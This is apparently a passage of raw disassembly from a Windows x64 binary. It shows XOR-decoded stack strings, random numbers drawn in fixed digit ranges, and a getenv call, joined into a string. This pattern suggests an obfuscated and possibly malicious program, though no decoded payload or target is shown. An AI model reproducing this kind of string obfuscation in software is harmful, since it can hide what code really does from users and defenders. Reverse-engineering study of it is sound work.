pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc8]
xorps xmm2, xmm0
movd dword [rbp + 0xfc8], xmm2
jmp 0x14000afb3
lea r9, [rbp + 0xfc8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000af80
lea rax, [rbp + 0xfc8]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000afc0
lea rdx, [rbp + 0xfc8]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0xfcb], 0
jne 0x14000b0c3
cmp r12d, 2
jl 0x14000b07c
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc8]
xorps xmm2, xmm0
movd dword [rbp + 0xfc8], xmm2
jmp 0x14000b0c3
lea r9, [rbp + 0xfc8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000b090
movzx eax, byte [rbp + 0xf95]
test al, al
je 0x14000b0dd
xor byte [rbp + 0xf94], 0x57
xor al, 0x58
mov byte [rbp + 0xf95], al
lea rax, [rbp + 0xf94]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b0f0
lea rdx, [rbp + 0xf94]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0xf95], 0
jne 0x14000b124
xor byte [rbp + 0xf94], 0x57
mov byte [rbp + 0xf95], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x3824], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x24a0]
call fcn.140018760
mov dword [rbp + 0x1118], 0x423a35c7
mov dword [rbp + 0x111c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x24a0]
lea rcx, [rbp + 0x1118]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0xb40]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0xb50]
lea rcx, [rbp + 0xb40]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.140018330
nop
lea rcx, [rbp + 0xb40]
call fcn.140018450
movzx eax, byte [rbp + 0xf95]
test al, al
je 0x14000b1d6
xor byte [rbp + 0xf94], 0x57
xor al, 0x58
mov byte [rbp + 0xf95], al
lea rax, [rbp + 0xf94]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000b1e0
lea rdx, [rbp + 0xf94]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0xf95], 0
jne 0x14000b214
xor byte [rbp + 0xf94], 0x57
mov byte [rbp + 0xf95], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x99f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x8670]
call fcn.140018760
mov dword [rbp + 0x1120], 0x423a35c7
mov dword [rbp + 0x1124], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x8670]
lea rcx, [rbp + 0x1120]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0xb20]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0xb30]
lea rcx, [rbp + 0xb20]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.140018330
nop
lea rcx, [rbp + 0xb20]
call fcn.140018450
movzx eax, byte [rbp + 0xf95]
test al, al
je 0x14000b2c6
xor byte [rbp + 0xf94], 0x57
xor al, 0x58
mov byte [rbp + 0xf95], al
lea rax, [rbp + 0xf94]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000b2d0
lea rdx, [rbp + 0xf94]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0xf95], 0
jne 0x14000b304
xor byte [rbp + 0xf94], 0x57
mov byte [rbp + 0xf95], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xad84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x9a00]
call fcn.140018760
mov dword [rbp + 0x1128], 0xa98ac7
mov dword [rbp + 0x112c], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x9a00]
lea rcx, [rbp + 0x1128]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0xb00]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0xb10]
lea rcx, [rbp + 0xb00]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.140018330
nop
lea rcx, [rbp + 0xb00]
call fcn.140018450
movzx eax, byte [rbp + 0xf95]
test al, al
je 0x14000b3b6
xor byte [rbp + 0xf94], 0x57
xor al, 0x58
mov byte [rbp + 0xf95], al
lea rax, [rbp + 0xf94]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000b3c0
lea rdx, [rbp + 0xf94]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0xf95], 0
jne 0x14000b3f4
xor byte [rbp + 0xf94], 0x57
mov byte [rbp + 0xf95], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xc114], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xad90]
call fcn.140018760
mov dword [rbp + 0x1130], 0x423a35c7
mov dword [rbp + 0x1134], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0xad90]
lea rcx, [rbp + 0x1130]
call fcn.140019220
mov edx, eax
lea rcx, [rbp + 0xae0]
call fcn.1400187a0
nop
mov rbx, qword [rbp + 0xaf0]
lea rcx, [rbp + 0xae0]
call fcn.140018160
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.140018330
nop
lea rcx, [rbp + 0xae0]
call fcn.140018450
movzx eax, byte [rbp + 0x1008]
test al, al
je 0x14000b4bb
xor byte [rbp + 0x1004], 0x57
xor byte [rbp + 0x1005], 0x58
xor byte [rbp + 0x1006], 0x59
xor byte [rbp + 0x1007], 0x5a
xor al, 0x5b
mov byte [rbp + 0x1008], al
lea rax, [rbp + 0x1004]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14000b4c5
lea rdx, [rbp + 0x1004]
lea rcx, [rbp + 0x1980]
call fcn.140018330
cmp byte [rbp + 0x1008], 0
jne 0x14000b50e
xor byte [rbp + 0x1004], 0x57
xor byte [rbp + 0x1005], 0x58
xor byte [rbp + 0x1006], 0x59
xor byte [rbp + 0x1007], 0x5a
mov byte [rbp + 0x1008], 0x5b
movzx eax, byte [rbp + 0xf81]
test al, al
je 0x14000b528
xor byte [rbp + 0xf80], 0x57
xor al, 0x58
mov byte [rbp + 0xf81], al
lea rdx, [rbp + 0xf80]
lea rcx, [rbp + 0xac0]
call fcn.1400184f0
mov rbx, rax
movzx ecx, byte [rbp + 0x1040]
test cl, cl
je 0x14000b56e
xor byte [rbp + 0x103c], 0x57
xor byte [rbp + 0x103d], 0x58
xor byte [rbp + 0x103e], 0x59
xor byte [rbp + 0x103f], 0x5a
xor cl, 0x5b
mov byte [rbp + 0x1040], cl
lea rcx, [rbp + 0x103c]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r9, r13
nop
inc r9
cmp byte [rax + r9], 0
jne 0x14000b580
mov r8, rax
xor edx, edx
mov rcx, rbx
call fcn.140018670
mov rdx, rax
lea rcx, [rbp + 0xaa0]
call fcn.1400184c0
nop
lea r8, [rbp + 0x1980]
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x1a80]
call fcn.1400189f0
nop
lea rcx, [rbp + 0xaa0]
call fcn.140018450
nop
lea rcx, [rbp + 0xac0]
call fcn.140018450
cmp byte [rbp + 0x1040], 0
jne 0x14000b607